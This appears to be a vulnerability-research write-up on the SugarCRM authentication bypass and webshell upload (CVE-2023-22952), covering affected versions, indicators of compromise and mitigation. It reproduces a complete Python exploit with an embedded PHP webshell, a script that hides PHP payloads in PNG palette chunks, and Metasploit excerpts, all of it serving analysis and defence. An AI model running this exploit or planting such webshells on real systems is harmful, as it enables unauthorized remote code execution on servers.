SugarCRM RCE (CVE-2023–22952)

vsociety
17 min readApr 27, 2024

--

by@jakaba

Screenshots from the blog posts

Summary

CVE-2023–22952 (CVSS score: 8.8) relates to a case of missing input validation in SugarCRM that could result in the injection of arbitrary PHP code. The flaw is due to a lack of appropriate validation when uploading a malicious PNG file that contains an embedded PHP code using a vulnerable endpoint.

Description

Introduction

A critical zero-day vulnerability in SugarCRM, disclosed on December 28, 2022, exposes potential risks to the widely used CRM application, with over 5600 active instances on the Internet.

The flaw allows an unauthenticated attacker to upload a malicious PNG file containing embedded PHP code to a specific directory on the web server. Depending on the server configuration, the attacker may execute the code, gaining unauthorized access to the system. The vulnerability results from missing authentication checks, enabling persistent attacks after a failed login. Exploiting this flaw allows threat actors to inject custom PHP code through the SugarCRM email templates module, leading to direct access to underlying servers.

Upon discovery, SugarCRM immediately responded by developing two hotfix patches for the vulnerability to mitigate any exploitation. SugarCRM implemented the patches to all applicable instances running in SugarCloud and its managed hosting environments.

What is SugarCRM?

SugarCRM serves as a software solution for customer relationship management (CRM), strategically crafted to assist businesses in overseeing their engagements and connections with customers. Through an assortment of tools and features, it facilitates the streamlining and automation of diverse aspects within customer relationship management, encompassing sales force automation, marketing automation, customer support, and reporting.

Integral features of SugarCRM comprise management functionalities for contacts and leads, opportunity tracking, workflow automation, email integration, marketing campaign management, and analytics. The platform stands out for its adaptability and scalability, empowering businesses to tailor it to their unique needs and specifications. SugarCRM offers the flexibility of both cloud-based and on-premises deployment options, catering to various business configurations.

Affected products

The RCE vulnerability is present in

  1. SugarCRM versions 11.0 (Enterprise, Professional, Sell, Serve, and Ultimate, pre-11.0.5), as well as
  2. SugarCRM versions 12.0 Enterprise, Sell, and Serve (pre-12.0.2).

Timeline

On December 30, 2022, a user with the alias “sw33t.0day” shared an exploit (archived link) on the Full-Disclosure mailing list targeting a web-based content management system known as SugarCRM. This exploit, now identified as CVE-2023–22952, is actively being exploited in the wild to compromise hosts and install a php-based webshell.

January 17th, 2023 Update: SugarCRM enlisted a third-party forensics firm to confirm the absence of any intrusion into their cloud-based products resulting from the mentioned vulnerability. Further details on this validation can be accessed here.

January 11th, 2023: CVE-2023–22952 was published by NIST National Vulnerability Database with a base score of 8.8.

January 10th, 2023 Update: SugarCRM is cognizant of the issue and has revised its post and guidelines concerning the vulnerability fix. While Censys has not observed a significant surge in compromised instances, ongoing monitoring of the situation will persist.

Number of running instances

On January 11th, 2023 Censys detected 3,059 instances of SugarCRM on the internet, with 354 unique IP addresses hosting the installed webshell associated with the exploit. Based on their findings, the majority of infected hosts are situated in the United States, making up 32.5% of the total, while Germany ranks as the second most affected country, contributing to 21.3% of all infected hosts. (source)

Shodan shows an even bigger number however it’s accurate to mention that not all instances are at risk. Many of them involve SugarCRM Community Editions, which are not impacted by this vulnerability.

Impact

The vulnerability does not require authentication. After a failed login attempt, the session remains active, enabling the attacker to continue sending valid requests to the application so any remote attacker, regardless of authentication status, can exploit the system. This fact leads to a very high impact vulnerability with a CVE base score of 8.8 which is considered to be very high.

The severity of the vulnerability is also indicated by the fact that it was enumerated in the top 10 vulnerabilities during 2023 based on Qualys’s research.

Analyzing the attack

Auth flaw

It is noted that authentication is not required to exploit this vulnerability and the first issue in case of this vulnerability lies in the authentication system. The absence of an authentication check in the loadUser() method within include/MVC/SugarApplication.php allows attackers to consistently send valid requests to the application.

Due to this application is not open-source, we can not provide the source itself, but based on this post a deeper understanding is possible.

The fix was denying any further code execution after a login error and also, destroying the session, so after the patch any unsuccessful login attempts destroy session information, causing subsequent requests to fail. Here is a pseudo-code about this:

if (isset($_SESSION['login_error'])) {
if ($sess->getId()) {
$sess->destroy();
};

header('Location: ' . $this->getUnauthenticatedHomeUrl(true));

exit();
}Therefore in the patched version the app says “You need to be logged in to perform this action" in the response in case of requests sent after a failed login.

Therefore in the patched version the app says "You need to be logged in to perform this action" in the response in case of requests sent after a failed login.

Uploading a malicious PNG file with embedded PHP code

Image upload functionalities are widely employed in web applications for tasks like setting profile pictures or adding visuals to blog posts. However, if servers are improperly configured or have vulnerabilities, attackers may exploit these weaknesses to inject harmful code into uploaded image files, leading to server execution. This poses a significant risk for PHP applications, potentially resulting in remote code execution through the interpretation of arbitrary PHP code.

The second security issue revolves around the capability to upload a malicious PNG file containing embedded PHP code that an attacker can execute. Attackers use this weakness to upload the compromised PNG file to the /cache/images/ directory on the target server. The susceptible endpoint is /index.php?module=EmailTemplates&action=AttachFiles.

To understand the exploit, we have to be familiar with webshells and PHAR files so let’s go forward with clarifying them!

PHP web shells

A PHP web shell is a script or piece of malicious code written in PHP that allows unauthorized users to interact with a web server. Web shells are often used by attackers to gain control over a compromised web server and perform various malicious activities. Once uploaded and executed on a target server, a PHP web shell provides a command-line interface or a graphical interface through a web browser, allowing the attacker to execute commands, upload or download files, manipulate databases, and perform other actions on the server. Note that both a successful upload and reaching the uploaded file are necessary.

Here is an example of a PHP webshell:

<?php
if (!empty($_GET['cmd'])) {
$cmd = shell_exec($_GET['cmd']);
}
?>

In this example:

  • The web shell checks if a parameter named ‘cmd' is present in the incoming HTTP request.
  • If ‘cmd' is provided, it executes the command using the shell_exec() function in PHP. Other PHP functions such as exec(), passthru(), and system() can also be used.
  • The output of the executed command is not typically displayed in the browser, but it can be modified based on the attacker’s preferences.

A word about PHAR files

PHAR stands for “PHP Archive,” and it refers to a file format used in PHP for bundling entire PHP applications or libraries into a single archive file. The PHAR format allows developers to package PHP code, along with its assets, into a single file for easier distribution and deployment.

A PHAR archive is similar to a JAR (Java Archive) file in Java or a ZIP file but is specifically designed for PHP applications. It can contain PHP scripts, configuration files, images, and other files needed for the application to run. PHAR archives are essentially a way to package a complete PHP application into a single file, making it more convenient for distribution and usage.

PHP provides functions and classes to work with PHAR archives, allowing developers to create, extract, and interact with these bundled files programmatically. PHAR files are executable, meaning they can be run directly from the command line or through a web server.

It’s important to note that while PHAR files can enhance the distribution and deployment of PHP applications, developers should be cautious about the security implications of using PHAR files from untrusted sources, as they can potentially execute arbitrary code. Proper validation and security measures should be taken when working with PHAR archives to ensure the safety of the application.

Creating a malicious PNG

Based on a comprehensive guide related to PHP payloads embedded in PNGs, various methods exist for concealing web shell code within a PNG to ensure the successful upload of such a malicious file. There are various methods to conceal web shell code within a PNG file, facilitating the successful upload of a malicious PNG. Now we will explain the third method in the article that is related to the PLTE chunk.

In the context of file formats like PNG (Portable Network Graphics), a “chunk” refers to a specific block of data within the file structure. Chunks are a fundamental component of many file formats, including PNG, and they play a crucial role in organizing and representing different aspects of the file’s content.

In the context of PNG files, there are two main types of chunks:

  • ancillary chunks, which are not necessary to form a valid PNG, and may contain additional information or metadata but are not required for basic rendering;
  • critical chunks (such as IHDR, PLTE, IDAT, and IEND), which are essential components according to the PNG specification.

When compressing a PNG file using PHP-GD or similar image compression libraries, ancillary chunks are often deleted to reduce the size of the output file. This deletion is the reason why comments, including injected PHP payloads, may not survive the compression process. However, injecting payloads into critical chunks offers an intriguing alternative since they are not destroyed during the compression process.

Here are the types of critical chunks:

  • IHDR (Image Header) Chunk: This chunk is the first one and contains essential information about the image, such as width, height, bit depth, color type, compression method, filter method, and interlace method.
  • PLTE (Palette) Chunk: This chunk is present if the image uses a palette. It contains the palette for indexed color images.
  • IDAT (Image Data) Chunk: This chunk holds the compressed image data. Multiple IDAT chunks can be present for larger images.
  • IEND (Image End) Chunk: This marks the end of the PNG data stream. It is the last chunk in a PNG file.

The PLTE chunk provides an opportunity for payload injection. It contains the palette of a PNG image, consisting of a list of colors defined by Red, Green, and Blue values. As per the PNG specification the PLTE chunk contains from 1 to 256 palette entries, each a three-byte series of the form:

Red: 1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)

The number of entries is determined by the chunk length. A chunk length not divisible by 3 is an error. So by using the PLTE chunk, there is potentially 256 * 3 bytes of space to inject a payload into a critical chunk. This should provide more than enough room for the payload, with the only constraint being that the payload length must be divisible by 3.

To put this concept into action, the following is a PHP script that creates a malicious PNG image. The script takes the PHP payload as the first argument and inserts it into the PLTE chunk. We also used the following PNG file generator code suggested in the guide, and also, added some comments, and refactored a bit to make it more obvious what is happening.

Red: 1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)

The number of entries is determined by the chunk length. A chunk length not divisible by 3 is an error. So by using the PLTE chunk, there is potentially 256 * 3 bytes of space to inject a payload into a critical chunk. This should provide more than enough room for the payload, with the only constraint being that the payload length must be divisible by 3.

To put this concept into action, the following is a PHP script that creates a malicious PNG image. The script takes the PHP payload as the first argument and inserts it into the PLTE chunk. We also used the following PNG file generator code suggested in the guide, and also, added some comments, and refactored a bit to make it more obvious what is happening.

<?php

// Check if the correct number of command-line arguments is provided
if (count($argv) != 3) {
exit("Usage: $argv[0] <PHP payload> <Output file>");
}

// Retrieve PHP payload and output file from command-line arguments
$_payload = $argv[1];
$output = $argv[2];

// Pad the payload with spaces until its length is divisible by 3
while (strlen($_payload) % 3 != 0) {
$_payload .= " ";
}

// Get the length of the payload
$_pay_len = strlen($_payload);

// Check if the payload length is within acceptable limits
if ($_pay_len > 256 * 3) {
echo "FATAL: The payload is too long. Exiting...";
exit();
}
if ($_pay_len % 3 != 0) {
echo "FATAL: The payload isn't divisible by 3. Exiting...";
exit();
}

// Calculate the width and height for the image
$width = $_pay_len / 3;
$height = 20;

// Create an image with specified width and height
$im = imagecreate($width, $height);

// Convert payload to hexadecimal representation
$_hex = unpack('H*', $_payload);

// Split the hexadecimal representation into chunks of 6 characters
$_chunks = str_split($_hex[1], 6);

// Loop through each chunk and set pixel colors in the image
for ($i = 0; $i < count($_chunks); $i++) {
// Split the 6-character chunk into individual color components
$_color_chunks = str_split($_chunks[$i], 2);

// Allocate a color in the image using RGB values
$color = imagecolorallocate($im, hexdec($_color_chunks[0]), hexdec($_color_chunks[1]), hexdec($_color_chunks[2]));

// Set the pixel color in the image
imagesetpixel($im, $i, 1, $color);
}

// Save the image as a PNG file
imagepng($im, $output);

Save the file as gen.php and run the following command:

php gen.php '<?php echo "#####"; passthru(base64_decode($_POST["c"])); echo "#####"; ?>' malicious.php

If you get an error, make sure you both installed PHP and GD library

sudo apt install -y php8.2 php8.2-gd

If everything worked, we should now have a phar file with this content:

Once malicious.phar is then uploaded to the server, the attacker has to send a POST request to that file with a base64 encoded payload as the value of the 'c' parameter.

The exploit

The original exploit written in Python involves an authentication bypass targeting “/index.php" within the installed service:

import base64, re, requests, sys, uuid

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 2:
sys.exit("Usage: %s [URL]" % sys.argv[0])

print "[+] Sending authentication request"

url = sys.argv[1] + "/index.php"
session = {"PHPSESSID": str(uuid.uuid4())}
params = {"module": "Users", "action": "Authenticate", "user_name": 1, "user_password": 1}

requests.post(url, cookies=session, data=params, verify=False)

print "[+] Uploading PHP shell\n"

png_sh =
"iVBORw0KGgoAAAANSUhEUgAAABkAAAAUCAMAAABPqWaPAAAAS1BMVEU8P3BocCBlY2hvICIjIyMjIyI7IHBhc3N0aHJ1KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjIl0pKTsgZWNobyAiIyMjIyMiOyA/PiD2GHg3AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAKklEQVQokWNgwA0YmZhZWNnYOTi5uHl4+fgFBIWERUTFxCXwaBkFQxQAADC+AS1MHloSAAAAAElFTkSuQmCC"
upload = {"file": ("sweet.phar", base64.b64decode(png_sh), "image/png")} # you can also try with other extensions like
.php7 .php5 or .phtml
params = {"module": "EmailTemplates", "action": "AttachFiles"}

requests.post(url, cookies=session, data=params, files=upload, verify=False)

url = sys.argv[1] + "/cache/images/sweet.phar"

while True:
cmd = raw_input("# ")
res = requests.post(url, data={"c": base64.b64encode(cmd)}, verify=False)
res = re.search("#####(.*)#####", res.text, re.DOTALL)
if res:
print res.group(1)
else:
sys.exit("\n[+] Failure!\n")

Now let’s break down the code.

After the imports, the SSL warnings related to SSL certificates are set to be suppressed (requests.packages.urllib3.disable_warnings()).

Then, it ensures that the script is provided with the correct number of command-line arguments (only the URL).

After that, it sends an authentication request to the specified URL, attempting to authenticate as a user:

url = sys.argv[1] + "/index.php"
session = {"PHPSESSID": str(uuid.uuid4())}
params = {"module": "Users", "action": "Authenticate", "user_name": 1, "user_password": 1}

requests.post(url, cookies=session, data=params, verify=False)

Here the PHPSESSID cookies value is generated and not obtained which also works due to the authentication bypass vulnerability.

As a next step, the exploit tries to upload a PHP shell disguised as a PNG file (encoded in base64) using the AttachFiles action of the EmailTemplates module. The published exploit has a filename sweet.phar that was not cleaned.

# url = sys.argv[1] + "/index.php"

png_sh = "..."
upload = {"file": ("sweet.phar", base64.b64decode(png_sh), "image/png")}
params = {"module": "EmailTemplates", "action": "AttachFiles"}

requests.post(url, cookies=session, data=params, files=upload, verify=False)

After a compromised PNG file that serves as a webshell is successfully uploaded to the /cache/images/ directory on the target server, any command can be executed, since the attacker can access the malicious file. This unauthorized access grants entry to the underlying system, often assuming the identity of the user responsible for running web services (e.g., www-data).

The value of the png_sh is a base64-encoded PNG file containing PHP code:

<?php 
echo "#####";
passthru(base64_decode($_POST[“c”]));
echo "#####";
?>

Then, it establishes an interactive shell where the user can input commands to be executed on the server.

url = sys.argv[1] + "/cache/images/sweet.phar"

while True:
cmd = raw_input("# ") # Takes user input for commands
res = requests.post(url, data={"c": base64.b64encode(cmd)}, verify=False)
res = re.search("#####(.*)#####", res.text, re.DOTALL)
if res:
print res.group(1) # Prints the output of the executed command
else:
sys.exit("\n[+] Failure!\n")

The Metasploit module

You can find the source of the Metasploit module here.

To start Metasploit you have to install it:

sudo apt update
sudo apt install -y metasploit-framework

Then, you can start it with the command msfconsole. Then, search for the related vulnerability, select it and check out the options:

A detailed presentation of using the Metasploit Framework goes beyond the scope of a blog post.

However, here I provide the main function of the Metasploit module written in Ruby (comments are added by me):

# Exploit method to execute the payload after successful authentication and webshell upload
def exploit
# Ensure authentication succeeds; otherwise, fail with a NoAccess error
fail_with(Failure::NoAccess, 'Authentication bypass failed.') unless authenticate

# If authentication is successful, attempt to upload the webshell
fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed, the system is likely patched.") unless upload_webshell

# Register the uploaded webshell file for cleanup upon completion
register_file_for_cleanup(@webshell_name.to_s)

# Display the target and payload information
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

# Execute payload based on the target type
case target['Type']
when :php
execute_php(payload.encoded)
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Execute command stager with a line length limit of 65536 for Linux
execute_cmdstager(linemax: 65536)
end
end

Here’s a brief analysis of the steps:

  1. Authentication Check:
  • The script ensures successful authentication. If authentication fails, it raises a NoAccess error, indicating an authentication bypass failure.

2. Webshell Upload Attempt:

  • If authentication is successful, the script attempts to upload a webshell. If the upload fails, it raises a NotVulnerable error, suggesting that the system might be patched against the attack.

3. File Cleanup Registration:

  • If the webshell upload is successful, the uploaded webshell file is registered for cleanup upon completion. This ensures that any artifacts are removed after the exploit is executed.

4. Display Information:

  • The script prints information about the target and the payload being executed.

5. Payload Execution:

  • Depending on the target type specified in the script, the payload is executed using one of the following methods:
  • For :php targets, the PHP payload is executed using the execute_php method.
  • For :unix_cmd targets, the payload is executed as a command using the execute_command method.
  • For :linux_dropper targets, a command stager is executed with a line length limit of 65536 using the execute_cmdstager method.

In summary, this script checks authentication, attempts to upload a webshell, cleans up files, displays information, and executes a payload based on the target type. The specific payload execution method depends on the target’s type, supporting flexibility for different scenarios.

Let’s see what happens in case of a target type of Unix commands.

# Execute a command using the webshell by sending a POST request with the encoded command payload
# Params:
# - cmd: Command to be executed
# - _opts: Additional options (not currently used)
def execute_command(cmd, _opts = {})
# Encode the command using Base64
payload = Base64.strict_encode64(cmd)

# Obtain the PHP command function from the datastore
php_cmd_function = datastore['COMMAND']

# Send a CGI request to execute the command
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name),
'cookie' => @phpsessid.to_s,
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
@get_param => php_cmd_function
},
'vars_post' => {
@post_param => payload
}
})
end

This code defines a method (execute_command) that executes a command using a webshell. In summary, this method encodes a command, configures a CGI request with specific parameters, and sends a POST request to execute the command using a webshell. The comments provide details on the purpose of the method, the parameters it accepts, and the steps involved in sending a POST request to execute the specified command through the webshell.

Indicators of compromise

To check if something’s wrong with your system, look in the /cache/images/ folder for files that shouldn't be there. The best way to identify the compromise is by searching for PHP strings in all files within the specified directory, as the filename of the web shell can be changed arbitrarily, so to check if your SugarCRM is compromised or not, use the following command in the root directory of SugarCRM, replacing "$INSTALL_DIR" with your installation path:

strings $INSTALL_DIR/cache/images/* | grep -i PHP

If you see anything, it might mean there’s a problem. Note that the bad guys might use names like sweet.phar, imagefile.phar, meow.phar or even change file types. They might also delete files to hide what they did.

You should also watch out for issues, like when the system tries to do something with files in /cache/images/ that end in php, phar, phtml, php7, or some other type your server shouldn't allow. Check your web server logs for codes like 404 (can't find the file) or 403 (server says no). These signs can tell you if something's not right.

Mitigation

For customers utilizing a supported SugarCRM version outside the hosted cloud product, they are advised to download and apply the applicable hotfix tailored to their SugarCRM instance. Additionally, customers using an end-of-life product version are strongly encouraged to promptly upgrade to the latest software version. To address security concerns associated with running an unsupported version of SugarCRM, prioritize an immediate upgrade to the latest supported release, following the official documentation and engaging with SugarCRM support if needed. Regularly monitor for security updates and implement best practices to safeguard your CRM system against potential vulnerabilities.

On January 11th, SugarCRM released versions 12.0.2 and 11.0.5, which already include the essential hotfix for the identified vulnerability. No additional patches are necessary, however, SugarCRM strongly advises customers to download these releases and upgrade their relevant Sugar instances promptly, either independently or in collaboration with their partners where applicable. This precautionary measure is crucial to mitigate the potential exploitation of the vulnerability. To ensure comprehensive security, all instances, including those in production, sandbox, or development environments, should undergo the upgrade or patching process. SugarCRM has also initiated an inquiry into the nature and extent of the issue with the aid of third-party experts.

Additionally, since the disclosed vulnerability involves uploading executable PHP code to the /cache/images/ directory on the web server, you can mitigate the risk by configuring the webserver to restrict access to the executable code. This can be achieved through tools such as .htaccess or by configuring your web application firewall to block access to executable files specifically within the directory in question. See more details here.

Final thoughts

SugarCRM’s swift response to the disclosure of CVE-2023–22952 underscores the importance of timely remediation. The release of two hotfix patches demonstrates the commitment to addressing critical vulnerabilities promptly. Organizations using SugarCRM are strongly advised to implement the provided patches immediately to mitigate the risk of exploitation.

While the patches offer an essential fix, organizations should adopt a comprehensive security strategy. Continuous monitoring and proactive security measures remain crucial in safeguarding against potential future vulnerabilities. Regularly updating and patching software, conducting security audits, and reinforcing user authentication practices are vital components of a robust security posture.

The incident serves as a reminder of the dynamic threat landscape and the need for organizations to stay vigilant, prioritize security, and collaborate with vendors to swiftly address emerging vulnerabilities. SugarCRM users are encouraged to stay informed about security updates and best practices to ensure the ongoing integrity and resilience of their CRM deployments.

Resources

--

--

vsociety
vsociety

Written by vsociety

vsociety is a community centered around vulnerability research

No responses yet